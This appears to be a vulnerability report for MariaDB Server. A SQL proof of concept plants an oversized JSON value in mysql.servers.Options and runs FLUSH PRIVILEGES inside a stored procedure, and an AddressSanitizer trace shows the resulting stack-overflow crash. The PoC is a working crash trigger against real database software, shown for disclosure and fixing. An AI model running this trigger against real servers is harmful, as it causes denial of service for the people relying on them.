MariaDB Server stack overflow when FLUSH PRIVILEGES parses a large JSON value from mysql.servers.Options inside a stored procedure

POC：

DELETE FROM mysql.servers

WHERE Server_name = 't1';

INSERT INTO mysql.servers

    (Server_name, Host, Db, Username, Password, Port, Socket, Wrapper, Owner, Options)

VALUES

    (

        't1',

        '127.0.0.1',

        '',

        '',

        '',

        3306,

        '',

        'mysql',

        '',

        CONCAT(

            '{"HOST": "127.0.0.1", "x": "',

            REPEAT('a', 12000000),

            '"}'

        )

    );

CREATE DATABASE IF NOT EXISTS t2;

USE t2;

DROP PROCEDURE IF EXISTS t3;

DELIMITER $$

CREATE PROCEDURE t3()

BEGIN

    FLUSH PRIVILEGES;

END$$

DELIMITER ;

CALL t3();

DROP PROCEDURE IF EXISTS t3;

DROP DATABASE IF EXISTS t2;

DELETE FROM mysql.servers

WHERE Server_name = 't1';

asan report：
=================================================================
==1==ERROR: AddressSanitizer: SEGV on unknown address 0x6e957d757000 (pc 0x5adc786ca01e bp 0x6e957d6e4b90 sp 0x6e957d6e4b90 T12)
==1==The signal is caused by a WRITE memory access.
==1==WARNING: invalid path to external symbolizer!
==1==WARNING: Failed to use and restart external symbolizer!
#0 0x5adc786ca01e (/usr/local/mariadb/bin/mariadbd+0x271d01e) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#1 0x5adc78713406 (/usr/local/mariadb/bin/mariadbd+0x2766406) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#2 0x5adc773981ba (/usr/local/mariadb/bin/mariadbd+0x13eb1ba) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#3 0x5adc77394c91 (/usr/local/mariadb/bin/mariadbd+0x13e7c91) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#4 0x5adc7739446d (/usr/local/mariadb/bin/mariadbd+0x13e746d) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#5 0x5adc773f1a1e (/usr/local/mariadb/bin/mariadbd+0x1444a1e) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#6 0x5adc77006003 (/usr/local/mariadb/bin/mariadbd+0x1059003) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#7 0x5adc77529316 (/usr/local/mariadb/bin/mariadbd+0x157c316) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#8 0x5adc775231f5 (/usr/local/mariadb/bin/mariadbd+0x15761f5) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#9 0x5adc775247cc (/usr/local/mariadb/bin/mariadbd+0x15777cc) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#10 0x5adc77527fd2 (/usr/local/mariadb/bin/mariadbd+0x157afd2) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#11 0x5adc76dee721 (/usr/local/mariadb/bin/mariadbd+0xe41721) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#12 0x5adc76df217d (/usr/local/mariadb/bin/mariadbd+0xe4517d) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#13 0x5adc76fff24d (/usr/local/mariadb/bin/mariadbd+0x105224d) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#14 0x5adc76ffe919 (/usr/local/mariadb/bin/mariadbd+0x1051919) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#15 0x5adc770020fa (/usr/local/mariadb/bin/mariadbd+0x10550fa) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#16 0x5adc76ff8b4b (/usr/local/mariadb/bin/mariadbd+0x104bb4b) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#17 0x5adc76ff3783 (/usr/local/mariadb/bin/mariadbd+0x1046783) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#18 0x5adc76ff978d (/usr/local/mariadb/bin/mariadbd+0x104c78d) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#19 0x5adc7739f8cc (/usr/local/mariadb/bin/mariadbd+0x13f28cc) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#20 0x5adc7739f417 (/usr/local/mariadb/bin/mariadbd+0x13f2417) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#21 0x5adc77eb234b (/usr/local/mariadb/bin/mariadbd+0x1f0534b) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#22 0x5adc76c8f978 (/usr/local/mariadb/bin/mariadbd+0xce2978) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#23 0x7695a290aaa3 (/lib/x86_64-linux-gnu/libc.so.6+0x9caa3) (BuildId: 8e9fd827446c24067541ac5390e6f527fb5947bb)
#24 0x7695a2997a63 (/lib/x86_64-linux-gnu/libc.so.6+0x129a63) (BuildId: 8e9fd827446c24067541ac5390e6f527fb5947bb)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/usr/local/mariadb/bin/mariadbd+0x271d01e) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
Thread T12 created by T0 here:
#0 0x5adc76c779c1 (/usr/local/mariadb/bin/mariadbd+0xcca9c1) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#1 0x5adc77eb2630 (/usr/local/mariadb/bin/mariadbd+0x1f05630) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#2 0x5adc76ce1b68 (/usr/local/mariadb/bin/mariadbd+0xd34b68) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#3 0x5adc76ce21e8 (/usr/local/mariadb/bin/mariadbd+0xd351e8) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#4 0x5adc76ce2b48 (/usr/local/mariadb/bin/mariadbd+0xd35b48) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#5 0x5adc76ce068c (/usr/local/mariadb/bin/mariadbd+0xd3368c) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#6 0x5adc76cd7750 (/usr/local/mariadb/bin/mariadbd+0xd2a750) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)
#7 0x7695a28981c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 8e9fd827446c24067541ac5390e6f527fb5947bb)
#8 0x7695a289828a (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 8e9fd827446c24067541ac5390e6f527fb5947bb)
#9 0x5adc76bf8e24 (/usr/local/mariadb/bin/mariadbd+0xc4be24) (BuildId: abc215d3c90df40e6d8fc5489105a945a2965c6d)

==1==ABORTING